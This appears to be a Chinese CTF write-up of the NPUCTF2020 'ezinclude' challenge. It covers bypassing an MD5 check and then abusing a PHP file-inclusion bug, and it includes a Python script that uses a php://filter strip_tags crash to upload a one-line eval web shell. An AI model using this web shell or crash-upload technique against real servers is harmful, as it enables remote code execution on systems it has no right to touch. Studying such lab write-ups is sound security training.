[NPUCTF2020]ezinclude 1
F12查看源码
<!--md5($secret.$name)===$pass -->
然后以为是要搞MD5的新漏洞姿势,看来WP才发现,不是这样的,是相应包里面有MD5加密后的东西
填到PASS参数就好了
BP包回显文件
pass掉MD5后,相应包出现这个文件,访问一下
window.location.href="flflflflag.php";
响应内容
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
发现了include函数,可以包含一个file参数,测试了一下伪协议 除了php伪协议其他都被过滤了,e继续看一看大师傅的WP
import requests as res
from io import BytesIO
url="http://e513c6be-1e3d-4493-bfda-0253726b1f07.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" #phpfile对应的就是上传的文件的内容
phpfile="<?php @eval($_POST['cmd']); ?>"
filedata={
"file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text)
但脚本显示没访问到,引用下原话
脚本最后会输出BUUCTF容器不存在的页面,但这并不意味着我们操作失败了,按照知识点来说属于是"php崩溃清空堆栈重启",我们脚本中上传的文件还是存在的。
访问dir.php查看我们上传后的文件。
但是我是没找到dir.php是如何发现的。。太菜了
访问dir.php
的回显
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "php131IZi" [3]=> string(9) "php7uu1g8" [4]=> string(9) "phpCm7ZxX" }
大师傅原话和截图,但我没访问出来,这里的结果放的是大师傅的图
rupSuite访问flflflflag.php页面,参数file传对应phpinfo的文件,对响应包搜flag就能找到flag了。
得到flag。
大师傅博客原文
https://www.cnblogs.com/Article-kelp/p/14826360.html
标签:文件,string,ezinclude,访问,大师傅,file,NPUCTF2020,php From: https://www.cnblogs.com/0xo0Kerk/p/17236891.html